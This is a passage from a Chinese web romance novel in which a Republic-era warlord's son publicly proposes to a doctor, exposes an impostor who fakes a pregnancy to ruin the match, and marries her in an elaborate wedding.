她看了一眼身边的陆淮锦,眼神温柔,“我们还没正式成亲呢。这名不正言不顺的,若是有了孩子,岂不是让人笑话陆家没规矩?”
这一招“以退为进”,用得极妙。
陆大帅一愣,随即猛地一拍大腿:
“对啊!还没办酒席呢!哎呀我这脑子!”
他懊恼地抓了抓光头,“那不行!我陆宗林的孙子,必须是嫡出的大少爷!必须得名正言顺!”
“那……那就赶紧办!”
陆大帅雷厉风行,“下个月初八就是黄道吉日!办!大办!我要摆一千桌流水席!把全北城,
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不,把全中国的有头有脸的人物都请来!”
他兴奋地站起来,开始在屋里转圈:
“还有聘礼!那个……把库房里那尊金佛拿出来!还有前清皇帝赏的那对玉如意!都给晚清送去!”
“对了,还得登报!登头版头条!让所有人都知道,我们要办喜事了!”
看着瞬间从“催生模式”切换到“筹备婚礼模式”的陆大帅,陆淮锦和沈晚清对视一眼,都松了一口气。
总算是把这关混过去了。
“不过……”
陆大帅突然停下脚步,转头指着桌上的补品,眼神依然坚定:
“婚礼要办,这汤也得喝!两手都要抓,两手都要硬!淮锦,你给我喝干净了!一滴都不许剩!”
陆淮锦:“……”
……
深夜,听涛苑。
陆淮锦是被沈晚清扶回来的。
他虽然没喝那碗鹿血,但在陆大帅的逼迫下,硬是灌了半坛子陈年虎骨酒。此刻,那种燥热的酒劲上涌,让他整个人都像是一个行走的火炉。
“热……”
刚进卧室,陆淮锦就迫不及待地扯开了领口的扣子,露出泛红的胸膛。
“活该。”
沈晚清给他倒了一杯凉茶,“谁让你逞能跟大帅拼酒的?”
陆淮锦接过茶杯,却没有喝。
他那双因为醉酒而变得迷离的眼睛,直勾勾地盯着沈晚清。灯光下,她正在替他整理床铺,那贤惠温柔的模样,像极了一个等待丈夫归家的小媳妇。
“晚晚……”
陆淮锦放下茶杯,从身后抱住了她。
滚烫的身体贴上来,让沈晚清也跟着热了起来。
“干嘛?”她想要挣脱。
“老头子说得对。”
陆淮锦将脸埋在她的颈窝里,声音沙哑带着醉意,“我是该……努力一点了。”
“努力什么?”
“努力……造个小少帅。”
陆淮锦低笑一声,一把将她转过来,压在身下。
“陆淮锦!你没喝那个鹿血吧?”沈晚清惊慌地抵住他的胸膛。
“没喝。”
陆淮锦吻住她的耳垂,含糊不清地说道,“但我现在……比喝了鹿血还热。”
“你刚才答应大帅的,要先办婚礼……”
“那是骗老头子的。”
陆淮锦的手开始不老实,“婚礼要办,洞房……也可以提前预习一下。”
“唔……”
沈晚清的**声被淹没在了一个深沉而热烈的吻中。
窗外,雪还在下。
屋内,春意正浓。
虽然有着那张契约的束缚,但在这一刻,在酒精和爱意的催化下,那条界线变得越来越模糊。
而陆大帅期待的“动静”,或许真的不远了。
第62章 盛大求婚
民国十年,元旦。
清晨的第一缕阳光穿透窗棂,洒在柔软的大床上。
沈晚清迷迷糊糊地伸手去摸身侧的位置,却摸了个空。床单已经凉了,显然那人早就起了。
“陆淮锦?”
她坐起身,疑惑地看向四周。平日里这个时候,那个粘人的少帅肯定还会赖在床上非要索个早安吻才肯起,今天怎么转性了?
“少夫人,您醒啦!”
新来的贴身丫鬟小翠推门进来,脸上挂着一种极其诡异、想笑又不敢大声笑的表情,手里抱着厚厚一摞报纸。
“怎么了?笑得这么贼?”沈晚清披上睡袍,下床洗漱。
“少夫人,您快看看吧!今天整个北城都炸锅了!”
小翠把那一摞报纸往桌上一摊,“少帅他……他也太会了!”
沈晚清疑惑地拿起最上面的一份《北城日报》。
只看了一眼,她的手就抖了一下。
往日里刊登着严肃的时政新闻、战报或者是枯燥社论的头版头条,今天竟然变成了一片刺眼的粉红色。
没有新闻,没有广告。
整个版面,只有一行龙飞凤舞、力透纸背的毛笔大字:
【兹告天下:陆某一生戎马,不知情为何物。幸得沈氏晚清,医我身,愈我心。今愿以半壁江山为聘,求娶沈小姐为妻。一生一世,至死不渝。——陆淮锦】
沈晚清愣住了。
她又拿起下面的《大公报》、《益世报》,甚至是英文的《北华捷报》……
无一例外。
全北城,乃至全北方发行的所有主流报纸,今天的头版头条全部被这一条“求婚启事”给包圆了!
“这疯子……”
沈晚清看着那些字,脸颊瞬间烧得滚烫,心里却像是被灌了一罐蜜糖,甜得发腻。
她想起那天晚上他说要“通电全国”,她以为只是说说而已,或者是发个正式的通告。
谁能想到,他竟然用这种……这种近乎“土豪”又极其浪漫的方式,把情书印满了全城的报纸?
“少夫人,还没完呢!”
小翠兴奋地拉开窗帘,“您看外面!”
沈晚清走到窗边。
只见此时的北城上空,几架漆着陆军徽章的双翼飞机正低空掠过。
飞机的尾部,拉着长长的彩色烟带,在蔚蓝的天空中画出了几个巨大的字——“晚晚,嫁给我”。
而在帅府外的大街上,原本严肃的军乐团竟然在吹奏着欢快的婚礼进行曲。街道两旁的树上挂满了红绸和彩灯,无数卫兵手里不再拿着枪,而是挎着篮子,正在向过往的百姓分发喜糖和红包。
整个北城,仿佛在一夜之间变成了一座巨大的婚礼殿堂。
“他这是……把求婚当仗在打吗?”
沈晚清看着这漫天的花样,眼眶有些湿润。
这个男人,不懂什么浪漫的套路,也不屑于那些温吞的暗示。
他爱一个人,就要弄得惊天动地,就要让全世界都知道。他要给她的,是毫无保留的偏爱,是人尽皆知的殊荣。
“少夫人,快换衣服吧!”小翠催促道,“少帅在正阳门城楼上等着您呢!”
……
正阳门城楼。
这里是北城的中轴线,也是这座古老城市的最高点。
沈晚清穿着那件陆淮锦特意让人送来的、镶满了珍珠的红色礼服,一步步走上城楼。
城楼下,是黑压压的人群。
有看热闹的百姓,有被这阵仗吓到的商贾,还有整齐列队的陆家军方阵。
而在城楼的最中央。
陆淮锦一身戎装,胸前挂满了勋章,在阳光下熠熠生辉。他并没有像往常那样冷峻严肃,此时的他,嘴角噙着一抹温柔的笑意,目光穿过人群,只落在她一人身上。
沈晚清走到他面前。
“喜欢吗?”
陆淮锦低声问,像个等待表扬的孩子。
“太败家了。”沈晚清嗔怪道,眼底却全是笑意,“包下全城报纸,还要飞机拉烟,这得花多少军费?”
“没花军费。”
陆淮锦握住她的手,理直气壮地说道,“这是我自己的私房钱。为了娶媳妇,我可是把老婆本都掏空了。”
他突然后退一步。
在城楼上,在数万百姓和将士的注视下。
这位统御北六省、膝下有黄金的铁血少帅,缓缓地、郑重地单膝跪地。
“哗——!!”
城楼下一片哗然。
老百姓们什么时候见过大帅给女人下跪?这简直是破天荒的头一遭!
陆淮锦没有理会世俗的眼光。
他从怀里掏出那枚早就戴在她手上的粉钻戒指,仰起头,看着沈晚清,眼神虔诚得像是在仰望他的神明。
“沈晚清。”
他的声音通过扩音器,传遍了四九城。
“我陆淮锦,这辈子**无数,双手沾满鲜血。我不信神,不信佛,只信手里的枪。”
“但自从遇见你,我开始信命。”
“感谢老天爷把你
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送到我身边,让我这颗枯死的心重新活过来。”
“以前,我守着这江山,觉得枯燥无味。现在,我想守着你,顺便守着这江山。”
他举起戒指,声音微颤:
“晚晚,嫁给我,好吗?做这北地唯一的女主人,管着我,管着我的钱,管着我的人。”
风,停了。
所有的喧嚣都消失了。
沈晚清看着跪在自己面前的男人。
前世的凄凉,今生的挣扎,在这一刻都化作了过眼云烟。
她伸出手,让那枚戒指再次套牢她的无名指。
“好。”
她含泪点头,声音清亮,“我答应你。”
“陆淮锦,你这辈子,归我了。”
“轰——!!”
随着她的话音落下,城楼四周的礼炮齐鸣。
漫天的彩带和花瓣从城墙上飘落,如同下了一场绚丽的花雨。
陆淮锦猛地站起身,一把将沈晚清抱起,在原地转了好几圈。
“她答应了!!”
他冲着城楼下的千军万马大吼,像个得到了心爱玩具的少年,“老子有媳妇了!!”
“恭喜少帅!恭喜少夫人!!”
数万将士齐声高呼,声浪震天,惊飞了护城河边的白鸽。
这一天,北城的报纸卖脱销了。
这一天,陆少帅那场惊世骇俗的求婚,成了无数闺阁少女梦中最向往的画面,也成了街头巷尾流传百年的佳话。
……
当晚,帅府。
热闹散去。
沈晚清瘫软在沙发上,看着满屋子堆积如山的贺礼,觉得头都要大了。
“这就累了?”
陆淮锦端着一杯温水走过来,一脸坏笑,“这才哪到哪?这只是求婚。”
“接下来……”
他从身后拿出一本厚得像砖头一样的册子,放在沈晚清面前,“这是老头子和礼部拟定的《大婚流程》,一共三百六十项礼节。从纳采、问名到大婚当日的每一个时辰,都安排得明明白白。”
“多少?三百六十项?”
沈晚清翻开册子,看着上面密密麻麻的“规矩”、“禁忌”、“时辰”,只觉得眼前一黑。
“我能反悔吗?”她把册子一合,绝望地问道。
“晚了。”
陆淮锦把她抱进怀里,笑得像只偷腥的猫,“戒指戴了,报纸登了,礼炮放了。沈神医,这回你是插翅也难飞了。”
“接下来的一个月,你就乖乖在家备嫁吧。我的……新娘子。”
第63章 世纪婚礼(筹备)
听涛苑,距离大婚还有十天。
如果说之前的鼠疫是一场生死攸关的战役,那么现在的备婚,对于沈晚清来说,简直就是一场名为“规矩”的酷刑。
天刚蒙蒙亮,沈晚清就被从被窝里挖了起来。
“少夫人,该起来‘开脸’了!”
四个全福太太围在她床前,手里拿着五色棉线,一脸喜气洋洋地看着她。
沈晚清迷迷糊糊地睁开眼,看着那几根细线在眼前晃悠,下意识地往被子里缩了缩。
“能不能……再睡十分钟?昨晚看药厂的报表看到半夜……”
“哎哟,我的少夫人喂!这都什么时辰了!”
领头的王嬷嬷是陆大帅特意从宫里请出来的老嬷嬷,那是出了名的讲规矩,“今天不仅要开脸,还要试礼服、学拜堂的步法、背陆家的家规……事情多着呢!可不敢耽误吉时!”
沈晚清绝望地叹了口气,像个木偶一样被架了起来。
所谓的“开脸”,就是用两根棉线绞掉脸上细微的绒毛,让皮肤看起来更加光洁。
“嘶——”
棉线在脸上弹过,带来一阵细密的刺痛。沈晚清疼得眼泪汪汪,心里把那个制定这种破规矩的人骂了一百遍。
她宁愿去手术台上缝合十个伤口,也不愿遭这份罪!
好不容易熬过了开脸,接下来是更恐怖的环节——试嫁衣。
陆大帅为了这场“世纪婚礼”,可谓是下了血本。他不仅请了苏杭最好的绣娘赶制了一套正红色的龙凤褂,还专门找人去法国定做了一套最时髦的白纱。
正厅里,两套礼服并排挂着,流光溢彩。
那套中式的凤冠霞帔,上面用金线绣满了九只凤凰,每一片羽毛都镶嵌着米粒大小的珍珠,光是那顶凤冠就重达五斤!
“少夫人,来,先试这套中式的。”
几个丫鬟七手八脚地把那套沉重的嫁衣往沈晚清身上套。
“轻点……勒死我了……”
沈晚清觉得自己像是被裹进了一个金丝笼子里。那腰带勒得她几乎喘不过气来,沉重的凤冠压在脖子上,感觉颈椎都要断了。
“怎么样?好看吗?”
陆大帅背着手走了进来,看着被裹成红粽子一样的儿媳妇,满意地点点头,“不错!贵气!这才像我陆家的少帅夫人!到时候往城楼上一站,那就是正宫娘娘的气派!”
沈晚清艰难地扯出一个微笑:“大帅……这衣服……能不能改轻点?我怕婚礼那天还没拜完堂,我就先颈椎病发作了。”
“哎!胡说!这叫分量!”陆大帅一瞪眼,“越重说明福气越厚!忍着点,一辈子就这一回!”
沈晚清欲哭无泪。
就在这时,救星来了。
陆淮锦大步流星地走了进来。他刚从军营回来,身上还带着一股寒气。
看到沈晚清那副被凤冠压得头都抬不起来的可怜样,他先是一愣,随即很**道地笑出了声。
“笑什么笑!”沈晚清没好气地瞪了他一眼,“有本事你来戴戴看!”
陆淮锦走过去,伸手托住那顶沉重的凤冠,帮她分担了一点重量。
“确实有点重。”
他皱了皱眉,转头对陆大帅说道,“父亲,这也太折腾人了。把这上面的金饰拆一半下来,换成点翠或者绒花。”
“拆?那怎么行!”陆大帅不乐意了,“那多寒酸啊!”
“寒酸总比把新娘子压坏了好。”
陆淮锦看着沈晚清被压红的额头,眼里满是心疼,“我的夫人,我自己心疼。您要是觉得不够重,到时候我在她怀里塞两块金砖,行了吧?”
“你这混小子……”陆大帅气得吹胡子瞪眼,但看在儿子的份上,还是勉强松了口,“行行行,改!这就让人去改!真是有了媳妇忘了爹!”
沈晚清终于松了一口气,感激地看向陆淮锦。
“这就感动了?”
陆淮锦凑到她耳边,低声道,“别急,后面还有更难的。”
果然,试完衣服,就是学规矩。
怎么走路不摇裙摆,怎么敬茶手不抖,怎么在众目睽睽之下保持微笑……
沈晚清一个拿手术刀的手,硬是被逼着练了半天的“兰花指”端茶。
“少夫人,手要稳!腰要直!眼神要柔顺!”王嬷嬷拿着一根小竹条,在旁边严厉地纠正。
沈晚清练得腰酸背痛,心里那股火噌噌往上冒。
她把茶杯重重往桌上一放。
“不练了!”
沈晚清揉着手腕,冷着脸道,“我是嫁人,又不是**。我是医生,不是戏子。这茶,爱喝不喝!”
王嬷嬷吓了一跳:“哎哟我的少夫人,这可是老祖宗传下来的规矩……”
“规矩是人定的。”
陆淮锦从门外走进来,手里端着一盘剥好的橘子。
他挥挥手,示意王嬷嬷和那些丫鬟都退下去。
“都下去吧。我来教她。”
等人都走了,房间里只剩下他们两个。
沈晚清一屁股坐在椅子上,气鼓鼓地看着他:“你也来逼我学那些破规矩?”
“我哪敢啊。”
陆淮锦拉过一把椅子坐在她对面,把橘子递给她,“我是来给
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你送这个的。知道你练得烦了,吃口甜的消消气。”
沈晚清接过橘子,吃了一瓣,心里的火气消了一半。
“陆淮锦,这婚礼能不能从简啊?”她抱怨道,“太累了。比做十台手术还累。”
“不能。”
陆淮锦回答得斩钉截铁。
看着沈晚清又要发火,他伸手握住了她的手,轻轻揉捏着她酸痛的手腕。
“晚晚,我知道你不喜欢这些。”
他的声音温柔下来,“但你知道吗?这不仅仅是一个仪式。”
“你是平民出身,又退过婚。在这北城,有多少双眼睛盯着你,又有多少人在等着看你的笑话,觉得你配不上这个位置。”
陆淮锦看着她的眼睛,认真地说道:
“我要给你这世上最隆重、最繁琐、也是最尊贵的婚礼。我要让每一个步骤都无可挑剔,让每一处礼节都彰显着我对你的重视。”
“我要用这三百六十项礼节,告诉全天下——你沈晚清,是我陆淮锦求来的珍宝,而不是随随便便领进门的女人。”
“这是规矩,更是我对你的尊重。”
沈晚清怔住了。
她没想到,这个平日里霸道粗糙的男人,心思竟然细腻到了这种地步。
他做的这一切,不仅仅是为了面子,更是为了给她撑腰,为了帮她堵住悠悠众口,让她以后在北城的社交圈里,能挺直腰杆,受人敬仰。
“傻瓜……”
沈晚清眼眶一热,反握住他的手,“你早说啊。害我白生了半天气。”
“现在知道也不晚。”
陆淮锦勾唇一笑,“那……还练吗?”
沈晚清深吸一口气,站起身,重新端起那个茶杯。
“练!”
她眼神坚定,“不就是敬茶吗?本神医连神经都能缝合,还端不好一杯茶?”
陆淮锦看着她那副不服输的模样,眼底满是笑意。
“好。那我陪你练。”
他站起身,走到她身边,“等你练好了,晚上我有奖励。”
“什么奖励?”
“秘密。”
……
接下来的几天,听涛苑里依旧忙碌,但少了抱怨,多了欢声笑语。
沈晚清在陆淮锦的“陪练”下,竟然真的把那些繁琐的礼节学得有模有样。
一切都准备就绪。
然而,就在大婚的前一天,一个意想不到的“不速之客”,打破了这份喜庆的宁静。
门房来报:
“少帅!少夫人!门外有位自称是少帅‘故人’的小姐求见!她说……她说她怀了少帅的孩子!”
第64章 不速之客
陆帅府,正厅。
原本挂满红绸、喜气洋洋的大厅,此刻却笼罩着一层尴尬而诡异的低气压。
陆大帅坐在太师椅上,手里的铁胆也不转了,一双牛眼瞪得溜圆,死死盯着跪在堂下的那个女人。
那女子穿着一身素淡的月白旗袍,外面罩着一件不合时宜的单薄披肩,长得倒是颇有几分姿色,只是此刻哭得梨花带雨,身体摇摇欲坠,一只手还刻意地护着微微隆起的小腹。
她叫苏心月,是北城一位没落翰林的女儿,以前在陆家举办的宴会上见过陆淮锦几次,坊间曾有传闻她是陆少帅的“红颜知己”。
“大帅……您要给心月做主啊……”
苏心月跪在地上,泣不成声,声音柔弱得像是一阵风就能吹散,“若不是为了肚子里的这点骨血,心月断不敢在少帅大喜的日子来触霉头。可……可孩子是无辜的啊……”
“这……”
陆大帅虽然是个粗人,但一听到“骨血”二字,眼神立刻就变了。
他虽然认定了沈晚清这个儿媳妇,但他更想要孙子啊!陆淮锦二十六了还没动静,这要是真有了……
“你先起来说话。”陆大帅语气缓和了几分,“你说这孩子是淮锦的,可有凭证?是什么时候的事?”
“是……是三个月前。”
苏心月红着脸,羞答答地低下头,“那次少帅在军官俱乐部喝醉了,心月……心月正好在那里弹琴,少帅他……他就……”
她话没说完,但那种欲言又止的留白,足以让人脑补出一场酒后乱性的香艳戏码。
周围的丫鬟婆子们面面相觑,眼神在沈晚清和苏心月之间来回瞟。
这下有好戏看了。
大婚前一天,冒出来个带球的“前任”,这简直就是往新娘子脸上扇巴掌啊!
然而,身为当事人的陆淮锦,此刻正坐在沈晚清旁边的椅子上,手里把玩着一把**,脸上的表情比外面的冰雪还要冷。
“编。”
陆淮锦冷冷地吐出一个字,连正眼都没看那个女人,“继续编。三个月前?那天老子带着部队在长城沿线剿匪,三天三夜没下马背。怎么,你会分身术?还是我会梦游?”
谎言被当场戳穿。
苏心月脸色一白,但她显然是有备而来,眼泪掉得更凶了:
“少帅……您怎么能不认账呢?或许……或许是我记错日子了……但我这肚子里,确实是陆家的种啊!”
她猛地转向沈晚清,直接扑过去想要抓沈晚清的裙角:
“少夫人!您是神医,您是大善人!求求您容下我们母子吧!心月不求名分,只求能在帅府有个容身之地,把孩子生下来……哪怕是做牛做马伺候您都行!”
这就是典型的高段位“绿茶”手段。
如果沈晚清拒绝,那就是善妒、不容人、甚至是要谋害陆家子嗣;如果沈晚清答应,那以后这帅府里就多了根搅屎棍,恶心也能把人恶心死。
沈晚清坐在椅子上,并没有躲闪,也没有动怒。
她穿着一身家常的藕荷色旗袍,手里端着一杯热茶,神情淡然得像是在看一场拙劣的猴戏。
“苏小姐,是吧?”
沈晚清放下茶杯,目光落在苏心月那个“微隆”的小腹上,嘴角勾起一抹玩味的笑意。
“你说你怀孕三个月了?”
“是……是的。”苏心月被她看得有些发毛,下意识地捂紧了肚子。
“既然怀孕了,怎么还跪着?地上凉,伤了胎气可就不好了。”
沈晚清的声音温柔得有些过分,“来人,给苏小姐赐座。”
陆大帅一听,顿时对沈晚清的好感度倍增。看看,这就是大家闺秀的风范!这就是正室的气度!
苏心月也被这突如其来的“关怀”弄懵了,战战兢兢地坐在一旁的绣墩上。
“少夫人真是……宽宏大量……”她还在演。
“苏小姐别急着夸我。”
沈晚清站起身,理了理裙摆,一步步走到苏心月面前,“既然苏小姐口口声声说怀了少帅的孩子,又要进帅府的门。按照规矩,总得验明正身吧?”
“验……验什么?”苏心月心里咯噔一下。
“我是大夫。”
沈晚清伸出一只白皙的手,指尖在灯光下泛着冷光,“中医讲究望闻问切。你是不是怀孕,怀了多久,胎像稳不稳,我一摸便知。”
“不!不用了!”
苏心月像是被踩了尾巴一样,猛地缩回手,神色慌乱,“我已经看过大夫了!大夫说我胎像不稳,受不得惊吓……少夫人,您是不是不相信我?您是不是想害我的孩子?”
她一边喊,一边往陆大帅那边躲,“大帅!救命啊!少夫人她手里有针!她要扎死我的孩子!”
这一招“受害者有罪论”,玩得可谓是炉火纯青。
陆大帅皱了皱眉,刚想说话。
“砰!”
一声巨响。
陆淮锦将手里的茶杯重重摔在地上,碎片飞溅。
他站起身,大步走到苏心月面前,一把掐住她的下巴,强迫她抬起头。那双如鹰隼般锐利的眼睛里,满是暴戾的杀气。
“给脸不要脸。”
陆淮锦的声音低沉森寒,每一个字都像是从牙缝里挤出来的,“我夫人的手,是用来救命的,不是用来碰你这种脏东西的。”
“你说你怀了我的种?”
他冷笑一声,另一只手直接拔出枪,冰冷的**抵在了苏心月那个隆起的肚子上。
“那正好。我这人最讨厌来历不明的东西。既然你说里面有个种,那我就把它剖出来看看,到底是个什么玩意儿!”
“啊——!!!”<
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br>苏心月吓得魂飞魄散,凄厉地尖叫起来,“**啦!少帅**啦!”
“淮锦!住手!”陆大帅也吓了一跳,连忙喝止,“万一真是……”
“没有万一。”
陆淮锦连头都没回,手指已经扣上了**,“我的身体我清楚。除了晚晚,这几年我就没碰过女人。这肚子里要是能生出我的种,那除非是见了鬼!”
眼看枪就要响。
苏心月终于崩溃了。
“别开枪!别开枪!”
她浑身瘫软,一股尿骚味从裙底蔓延开来,“我说!我说!我没怀孕!这里面……这里面是枕头!”
全场死寂。
枕头?
陆大帅的脸瞬间黑成了锅底。
“你说什么?!”
苏心月颤抖着从衣服里掏出一个小棉枕头,扔在地上,哭得一把鼻涕一把泪:“是……是有人给了我钱,让我来恶心少夫人的……说是只要能搅黄了婚礼,就给我五百大洋……”
“谁?是谁指使你的?”沈晚清问道。
“是……是一个日本人……叫佐藤……”
又是日本人!
陆淮锦眼中的杀意更盛。
“好啊,日本人亡我之心不死,连这种下三滥的手段都使出来了。”
他收起枪,厌恶地看了一眼地上的女人和那个滑稽的枕头。
“来人。”
“在!”宋副官带着卫兵冲了进来。
“把这个满嘴谎话的女人拖出去,扔到城外的乱葬岗。”
陆淮锦冷冷地下令,“既然她这么喜欢演戏,那就让她去跟鬼演吧。”
“不要啊!少帅饶命!少夫人饶命啊!”
苏心月被像拖死狗一样拖了下去,声音渐渐消失。
一场闹剧,就这样以一种荒诞而血腥的方式收场。
陆大帅气得直拍胸口:“气死我了!气死我了!这帮小日本,欺人太甚!”
沈晚清走过去,替陆大帅倒了一杯茶,顺气道:“大帅消消气。明天就是大喜的日子,别为了这种小人坏了兴致。这也算是……好事多磨吧。”
陆大帅看着这个知书达理、又遇事不惊的儿媳妇,越看越满意。
“对!好事多磨!”
他大手一挥,“明天婚礼,一定要办得风风光光!让那些小人看看,咱们陆家不仅没乱,还要更红火!”
陆淮锦走到沈晚清身边,握住她的手,低声道:
“让你受委屈了。”
“委屈?”
沈晚清看着他,嘴角勾起一抹狡黠的笑,“少帅刚才那句‘除了晚晚没碰过别的女人’,我很爱听。”
“这就够了。”
陆淮锦一愣,随即耳根微微泛红。
他一把将她揽入怀中,在这满堂的红绸喜字下,郑重承诺:
“明天,我会给你一个清清白白的盛世婚礼。”
第65章 大婚(上)
民国十年,正月初八,吉时已到。
这一日的北城,连老天爷都格外赏脸。连绵了数日的阴云散去,久违的阳光洒在皑皑白雪上,折射出耀眼的金光。
但这金光,都不及长街上那一片铺天盖地的“红”来得夺目。
从听涛苑别院到帅府正门,整整十里长街,全部铺上了猩红的地毯。街道两旁的枯树上挂满了红绸和彩灯,每隔十步便有一盏大红灯笼高高挂起。
更让人瞠目结舌的,是那支正在缓缓行进的送亲队伍。
打头的是一百零八抬聘礼,紧接着是一百零八抬嫁妆。
那嫁妆里,有沈晚清在海城积攒的家底,有华夏制药厂这几个月来的惊人利润折换成的金条,更有陆淮锦以“聘礼”名义送去、又被沈晚清以“嫁妆”名义带回来的稀世珍宝。
金丝楠木的箱子一眼望不到头,箱盖敞开着,里面的珍珠玛瑙、古董字画、甚至是成捆的现大洋和地契,就这样赤裸裸地展示在北城百姓的面前。
“乖乖!这哪是嫁女儿,这是搬金山啊!”“听说那是‘十里红妆’!以前只在戏文里听过,没想到真让咱们见着了!”“这少帅夫人到底什么来头?这排场,怕是皇上娶亲也不过如此了吧?”
围观的百姓挤满了街道两旁,议论声、惊叹声此起彼伏。
在队伍的最前方,陆淮锦骑着高头大马“绝影”。
他今日穿了一身改良式的红色戎装礼服,肩章和纽扣全是纯金打造,胸前佩戴着象征最高荣誉的勋章。那张平日里冷峻肃杀的脸,此刻虽依旧威严,但眉眼间却染上了掩饰不住的春风得意。
他身后,不是传统的轿夫,而是整整一个营的精锐卫队,全部换上了崭新的礼服,腰挎佩刀,步伐整齐划一,护卫着那顶在这乱世中象征着绝对权力与尊荣的八抬大轿。
……
听涛苑别院,闺房。
外面锣鼓喧天,鞭炮齐鸣。
屋内,沈晚清端坐在梳妆台前。
她穿着那件经过陆淮锦“勒令”修改过、减轻了重量却依然华贵无比的凤冠霞帔。正红色的缎面上,金线绣出的凤凰展翅欲飞,每一片羽毛都缀着米粒大小的珍珠,在阳光下流光溢彩。
头顶的凤冠虽然去掉了部分金饰,换上了点翠和红宝石,但依然显得雍容华贵,衬得她那张巴掌大的小脸愈发精致绝伦。
“少夫人,吉时到了,少帅已经进二门了!”
丫鬟小翠兴奋地跑进来,脸蛋红扑扑的,“刚才那个亨利医生还想拦门,出对联考少帅,结果少帅直接让人撒了一把金叶子,把门都快砸开了!”
沈晚清忍不住笑了。
这确实是陆淮锦的风格。简单,粗暴,有效。
“盖盖头吧。”
全福太太走上前,拿起那方绣着鸳鸯戏水的红盖头,轻轻盖在了沈晚清的头上。
眼前的世界瞬间变成了一片朦胧的红色。
沈晚清深吸一口气,双手交叠在膝上,紧紧握着一枚平安扣——那是她母亲留下的遗物,也是她两世为人的见证。
前世,她草草出嫁,凄凉收场。今生,十里红妆,权倾北地。
“咚、咚、咚。”
沉稳有力的脚步声穿过喧闹,一步步靠近。
房门被推开。
一股凛冽的寒气混合着淡淡的**味和好闻的松木香,瞬间涌入了这个充满了脂粉气的闺房。
周围的喧哗声仿佛都在这一刻静止了。
沈晚清在红盖头下,只能看到一双黑色的马靴停在了自己面前。
“晚晚。”
陆淮锦的声音低沉磁性,带着一丝不易察觉的颤抖,“我来接你了。”
没有繁琐的催妆诗,没有矫情的誓言。
只有这一句“我来
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接你了”。
沈晚清伸出手。
一只温热的大手立刻紧紧握住了她,指腹上的薄茧摩擦着她的掌心,带来一种前所未有的安全感。
“走。”
陆淮锦并没有让她自己走。
他在众目睽睽之下,忽然弯腰,一手穿过她的腿弯,一手揽住她的背,稳稳地将她打横抱起。
“啊……”沈晚清轻呼一声,下意识地勾住了他的脖子。
“别动。”
陆淮锦低头,隔着红盖头,在她的额头位置轻触了一下,“路远,鞋跟高,我抱你上轿。”
他就这样抱着她,大步流星地走出了闺房,走出了别院。
门外,欢呼声如海啸般爆发。
“恭喜少帅!贺喜少帅!”
无数彩带和花瓣从天而降,落在两人的肩头。
陆淮锦抱着沈晚清,仿佛抱着他的全世界。他走过铺满红毯的长街,走过那些羡慕、敬畏的目光。
他要把她风风光光地娶回去,要在所有人的见证下,把她的名字刻进陆家的族谱,刻进他的生命里。
将沈晚清送入那顶宽大舒适的花轿后,陆淮锦并没有立刻离开。
他掀开轿帘的一角,看着端坐在里面的新娘。
虽然看不清脸,但他知道,那是他在这个乱世里唯一的软肋,也是最坚硬的铠甲。
“坐稳了,夫人。”
他放下轿帘,翻身上马。
手中马鞭一挥,直指帅府的方向:
“起轿——!回府——!”
唢呐声再次高亢地响起,如同一曲激昂的战歌,又像是一首盛世的颂歌。
浩浩荡荡的迎亲队伍,载着这对乱世中的璧人,向着那座象征着最高权力的帅府,向着他们共同的未来,缓缓行进。
十里红妆,满城轰动。
这是陆淮锦给沈晚清的承诺,也是他对全天下的宣告。
第66章 大婚(下)
正午的阳光正好,洒在帅府前那一层厚厚的红毯上。
随着一声“落轿——”,那顶镶金嵌玉的八抬大轿稳稳停在了大门口。
鞭炮声震耳欲聋,硝烟弥漫中,陆淮锦翻身下马。他大步走到轿门前,从宋副官手中接过一把缠着红绸的弯弓,搭上三支无镞的金箭。
“嗖!嗖!嗖!”
三箭齐发,分别射向天、地、轿门。
这是北地军阀娶亲的规矩——射天,祈求风调雨顺;射地,**四方邪祟;射轿门,则是为了煞一煞新娘子的性子,让她进门后贤良淑德。
不过,最后一支箭,陆淮锦故意射偏了半寸,只是轻飘飘地擦着轿帘飞过,钉在了旁边的柱子上。
周围的宾客发出善意的哄笑。
“看来少帅是舍不得煞新娘子的威风啊!”“这还没进门就护上了,以后肯定是个怕老婆的!”
陆淮锦毫不在意这些调侃。他扔下弓,并没有像寻常新郎那样去踢轿门,而是直接伸出手,掀开了轿帘。
一只纤细的手搭在他的掌心。
沈晚清在全福太太的搀扶下,顶着红盖头,缓缓走出了花轿。
“跨火盆——!日子红红火火!”司仪高声唱道。
一个烧得正旺的铜盆横在门口。
沈晚清刚要提裙迈步,身体却突然腾空而起。
“啊……”
她低呼一声,只觉得一阵天旋地转,整个人已经被陆淮锦稳稳地抱在了怀里。
“火太旺,别烧了裙子。”
陆淮锦低沉的声音隔着盖头传来,带着一丝只有她能听懂的戏谑,“我抱着你跨,日子更红火。”
他就这样抱着她,大步跨过了火盆,跨过了高高的门槛,一路抱着走进了正厅。
聚义堂内,高朋满座。
陆大帅端坐在主位上,身上的暗红色团福字长袍衬得他红光满面,笑得见牙不见眼。旁边的老夫人赵氏虽然心里不是滋味,但也只能赔着笑脸,端端正正地坐着。
“新人到——!”
陆淮锦将沈晚清放下,两人并肩而立。
一根红绸带,一端系在他手里,一端系在她手里。
“一拜天地——!”
两人转身,对着门外的天地山河,深深一拜。
这一拜,敬的是乱世中的相遇,谢的是命运的垂青。
“二拜高堂——!”
两人转身,对着陆大帅和老夫人跪下。
“好!好!好!”陆大帅激动得连说了三个好字,眼眶竟然有些湿润。他这辈子杀伐果断,唯一的软肋就是这个儿子。如今看到儿子终于成家立业,娶的还是个能干大事的媳妇,他这颗悬着的心终于放下了。
“夫妻对拜——!”
沈晚清和陆淮锦相对而立。
虽然隔着红盖头,沈晚清看不见他的脸,但她能感受到他灼热的目光,能听到他有些急促的呼吸。
两人缓缓弯腰,头碰头,发触着发。
结发为夫妻,恩爱两不疑。
“礼成——!送入洞房——!”
在一片欢呼声和起哄声中,这场轰动北城的婚礼仪式终于画上了圆满的句号。
……
夜深,听涛苑新房。
喧嚣被隔绝在门外。
新房内,龙凤红烛高烧,将整个房间映照得一片暧昧的绯红。
沈晚清端坐在那张铺满红枣、花生、桂圆、莲子的大红喜床上,双手交叠,有些紧张地绞着手中的帕子。
虽然两人早就有了“肌肤之亲”,甚至在一张床上睡过,但今晚……意义不同。
这是洞房花烛夜。是真正把自己交给对方的时刻。
“吱呀——”
门被推开,又被轻轻关上。
沉稳的脚步声一步步靠近。
